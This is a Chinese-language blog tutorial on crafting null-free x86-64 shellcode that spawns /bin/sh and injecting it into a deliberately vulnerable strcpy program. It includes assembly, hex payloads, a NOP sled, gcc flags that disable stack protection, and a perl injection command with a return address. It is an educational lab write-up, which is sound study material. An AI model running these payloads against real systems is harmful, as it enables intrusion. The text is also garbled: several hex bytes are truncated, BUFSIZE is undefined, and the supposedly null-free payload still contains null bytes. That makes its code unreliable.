1. 概说
实际上,编写shellcode面昨很多障碍和,很多时候必须忍受没有办法解决问题的痛苦。
2. 问题
首先,在缓冲区里使用植入shellcode,代码里只能出现一个NULL(0)字符,因为所有的输入函数,只要检测到NULL字符就会返回,因此,NULL只能够出现在shellcode的结尾处,否则,shellcode将会变得不完整。
其次,缓冲区的大小,大部分的缓冲区都是一个很小的空间,如8字节,16字节,在这么小的空间里shellcode的编写真变得很紧凑了。
这里只阵述三个基本的问题,编码操作中会有千万万的问题出现,如多平台间的区别,系统调用的差异,恢复入侵程序的运行等等。
3. 修改shellcode
我们在前一篇文章里构造了一个shellcode,现在我们根据问题来再次修改这个shellcode,令它可以适应缓冲区输入的条件。
.section .text
.global _start
_start:
jmp cl
pp: popq %rcx
pushq %rbp
mov %rsp, %rbp
subq $0x20, %rsp
movq %rcx, -0x10(%rbp)
movq $0x0,-0x8(%rbp)
mov $0, %edx
lea -0x10(%rbp), %rsi
mov -0x10(%rbp), %rdi
mov $59, %rax
syscall
cl:call pp
.ascii "/bin/sh"
上面这段代码里,有两个地方出现了0x0, 如果用作缓冲区输入,则会造成输入提前返回,shellcode植入失败。
还有一个注意的是0x20,这个在ascii里代表的是空,也会造成输入中断,输入函数返回。
我们可以将有ox0的代码用其他指令代替
首先,我们用指令: xorq %rax, %rax
这条指令可以把rax寄存器通过异或运算置0
然后0x0的地方就可以用%rax代替了。
把0x20改为0x16,这个没关紧要,是栈空间的大小,shellcode中是用来保存’/bin/sh’这个字符串用。
下面是修改后的代码:
.section .text
.global _start
_start:
jmp cl
pp: popq %rcx
pushq %rbp
mov %rsp, %rbp
subq $0x16, %rsp
movq %rcx, -0x10(%rbp)
xorq %rax, %rax
movq %rax,-0x8(%rbp)
movq %rax, %rdx
lea -0x10(%rbp), %rsi
mov -0x10(%rbp), %rdi
mov $59, %rax
syscall
cl:call pp
.string "/bin/sh"
将代码编译后用objdump取出十六制编码如下:
\xeb\x28\x59\x55\x48\x\xe5\x48
\x83\xec\x16\x48\x\x4d\xf0\x48
\x31\xc0\x48\x\x45\xf8\x48\x
\xc2\x48\x8d\x75\xf0\x48\x8b\x7d
\xf0\x48\xc7\xc0\x3b\x00\x00\x00
\x0f\x05\xe8\xd3\xff\xff\xff\x2f
\x62\x69\x6e\x2f\x73\x68
4. 测试实验
简单的修改了shodecode后,我们用下面的c代码生成的程序进行缓冲区溢出测试。
#include <stdio.h>
#include <string.h>
#define BUFSIZE
int main(int argc, char *argv[])
{
char buf[BUFSIZE];
strcpy(buf, argv[1]);
printf("Buf: %p\n", &buf);
return 0;
}
为什么这样计算,请参考我写的入门(一)。
下面我们来计算一下shellcode的大小:
\xeb\x28\x59\x55\x48\x\xe5\x48
\x83\xec\x16\x48\x\x4d\xf0\x48
\x31\xc0\x48\x\x45\xf8\x48\x
\xc2\x48\x8d\x75\xf0\x48\x8b\x7d
\xf0\x48\xc7\xc0\x3b\x00\x00\x00
\x0f\x05\xe8\xd3\xff\xff\xff\x2f
\x62\x69\x6e\x2f\x73\x68
那么我添加一些什么内容呢? 这内容可不是随随便便都可以的。
程序设计里有一个操作叫NOP,它是no operation的简写,就是什么也不做,简直天生是为缓冲区溢出而设计的。
当然nop是为了让程序产生短暂的停顿而设计的。
添加内容是加在shellcode的头还是尾呢?
这也是有考究的,将NOP加在shellcode的头,能够增加注入的机率,原因是什么呢?
NOP写成指令就是0x90, 下面我们用0x90填充shellcode头部,让它达到72byte的长度。
\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90
\xeb\x28\x59\x55\x48\x\xe5\x48
\x83\xec\x16\x48\x\x4d\xf0\x48
\x31\xc0\x48\x\x45\xf8\x48\x
\xc2\x48\x8d\x75\xf0\x48\x8b\x7d
\xf0\x48\xc7\xc0\x3b\x00\x00\x00
\x0f\x05\xe8\xd3\xff\xff\xff\x2f
\x62\x69\x6e\x2f\x73\x68
好了,下面我们编译写好的C测试程序:
gcc -g -fno-stack-protector -z execstack -o stack1 stack1.c
# gcc带的参数-g是产生gdb调试符号,另外的参数则是取消堆栈代码运行保护。
[root@localhost stack]
Buf: 0x7fffffffe300
然后我们开始注入shellcode测试:
./stack1 `perl -e 'print "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xeb\
x28\x59\x55\x48\x\xe5\x48\x83\xec\x16\x48\x\x4d\xf0\x48\x31\xc0\x48\x\x45
\xf8\x48\x\xc2\x48\x8d\x75\xf0\x48\x8b\x7d\xf0\x48\xc7\xc0\x3b\x00\x00\x00\x0f
\x05\xe8\xd3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x00\xe3\xff\xff\xff\x7f"'`
#最后的这个\x00\xe3\xff\xff\xff\x7f就是【ret】返回地址,通过这个地址去执行我们的shellcode。
#前一个\00用来终止shellcode,没有这个\00可能会有出现问题。
6. 总结
以上实验都是人为堆拼制造的溢出环境,主要目的是掌握溢出的基本原理、方法。
现在,要绕开各种,真实的溢出入侵,还存在很大的距离。
往下文章继续介绍和研究,请关注和指点!